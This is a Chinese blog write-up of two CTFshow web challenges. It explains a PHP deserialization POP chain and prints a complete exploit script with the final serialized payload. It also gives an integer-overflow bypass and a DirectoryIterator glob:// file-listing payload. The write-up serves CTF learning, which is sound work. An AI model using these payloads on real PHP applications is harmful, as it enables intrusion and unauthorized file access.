CTFSHOW[卷王杯](上)

这个比赛早在二月底就结束了,其实很早就想写wp了,但是有很多知识点没写,就拖到现在了。

easy unserialize

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

这个题目有很多值得学习的冷知识,一起来看看吧。

有三个类,一看就知道是pop链,有throw new Exception();就知道要利用GC回收机制。还不知道怎么构造pop链或者不知道GC回收是什么的可以看我前面写的文章

PHP之序列化与反序列化(POP链篇)_errorr0的博客-CSDN博客浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客

这个题目对我而言比较难的一个点就是pop链比较难凑,也就是说一眼看不出来。这个时候做题的思路就是随便找一个魔术方法,然后分析从哪到达这个魔术方法以及这个方法又会到哪去。

先分析几个冷门的知识。

第一个冷门知识

__call($func, $args)__get($name)中的变量如何控制:

<?php
class errorr0 {
    public $object;

    public function __construct()
    {
        $this->object = new errorr1();
        echo "__construct()\n";
        $this->object->string1;
    }
}
class errorr1 {
    public $filename;
    public function __get($a)
    {
        $this->filename = new errorr2();
        echo "__toString()\n";
		
		
        echo $a."\n";
        $this->filename->function1("bbb");
    }
}
class errorr2 {
    private $string;

    public function __call($a,$b)
    {
        echo "__call()\n";
		
		
        echo $a."\n";
		
        var_dump($b);
    }
}

$a = new errorr0();

?>

可见如果一个不可访问的属性被访问且调用了__get()方法后会将这个属性的值传给__get()的参数。 __call()也是一个道理,如果调用了一个不存在或不可访问的函数则会把函数名赋给__call()中的第一个变量,函数中的值则会赋给第二个参数,如上图。

第二个冷门知识

call_user_func();这个函数或许经常见,但如果是这个call_user_func([$this, $func."Me"], $args);的话呢?也就是说,第一个参数是数组。直接上测试图解释:

 可以看到,如果是数组的话,数组的第一个参数做类,第二个参数做方法。后面的"world" 做函数的参数。

 第三个冷门知识

array_walk()函数

这是菜鸟教程给的两个例子,可以了解大概的意思,我还是啰嗦的解释两句:array_walk()第一个参数是选择一个数组,第二个参数放一个函数,函数内的两个参数对选择的那个数组进行分别进行值、键匹配。但是!!题目给的是一个$this什么意思呢,就是遍历一个类,也就是说原本应该是匹配键的那个参数,现在会把一个变量当键匹配,而值就是本应该的值,这个时候我们的骚操作就是把值修改为数组就可以让$fn变为数组,最后匹配$fn[0]的时候通过就可以了。

第四个冷门知识

其实说这个是冷门知识比较牵强,可能对我来说比较坑吧!!

 前面讲过,__get()中的是由于访问了不可访问的属性,引起的调用,其中的参数值就是那个不能调用的属性,所以$name="string",有意思的来了,$this->$name,可以看到我给了红标记,本应该是$this->name的,但是现在是这个,而$name="string",所以最后$var = $this->string

所以最后其实就是$this->string['string']();,我们的目的就是让这个东西可以指向one::MeMeMe()最后就大功告成了。令$string = array("string"=>[new one(),"MeMeMe"]);即可以绕过,不要问我为什么可以,我也不晓得,我看官方wp是这样的

我想什么意思应该都知道,但是为啥可以这么用我是第一次知道 ,记住可以这么用就行。

构造exp

既然难点和重点都分析完了,那构造exp就是除开那些难点的简单pop链。分析完我就我不细说了,就是从one::__destruct()方法开始然后访问不存在的add()则触发second::__call(),然后触发自身的函数second::addMe(),在里面有个可以把对象连接字符串的点,所以连接到one::__toString(),再访问一个不可访问的值,连接third::__get(),最后到达one::MeMeMe()

构造的链子为:首部 --> one::__destruct() --> second::__call() --> second::addMe() --> one::__toString() --> third::__get() --> one::MeMeMe() --> 尾部

exp:

<?php

class one {
    public $object;

    public $year_parm = array(0=>"Happy_func");

}

class second {
    public $filename;

}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a = new one();
$b = new one();
$c = new second();
$d = new third(["string"=>[new one(),"MeMeMe"]]);

$a->object = $c;
$c->filename = $b;
$b->object = $d;

$n = NULL;
$m = array(0=>$a,1=>$n);


echo serialize($m);

这两个格子是不可见字符,这个我在前面讲pop链的文章中就提到过了 ,这里的不可见字符为%00

把下面这个1改为0实现GC利用。

最后得到的字符串为:

a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:"%00third%00string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:0;N;}

easyweb

数组键溢出 + PHP原生类读取。原生类知识量有点大,后面笔记补,这里考的原生类中的文件操作,可以百度搜索。

前端源码提示了source,访问得源码

 注意一个问题,第一层这里

这是个等于号,相当于赋值,而对于数组无法赋值的情况就是当键溢出就行,可以看到上一句有++$c,也就是说我们设置c为int可设置的最大值减1,等它自增后就可以达到溢出无法赋值的效果 ,不过不晓得为啥我在本地127.0.0.1并不能达到上面所说的效果,在服务器上测试倒可以。

 

 挺明了的,只需要令c = 9223372036854775806自增一次溢出就可以了。

接下来就是PHP原生类文件读取。

DirectoryIterator: DirectoryIterator类提供了一个查看文件系统目录内容的简单接口。 FilesystemIterator: 文件系统迭代器。
GlobIterator: 与glob()类似的方式迭代文件系统。

随便用一个就行,怎么用直接百度查查,我不细说了。

这里文件的名是加了md5的虽然可以用burp爆破,不过看wp用正则匹配就很灵性所以我偷个懒,直接照搬好了。

&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php

最后直接读:

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值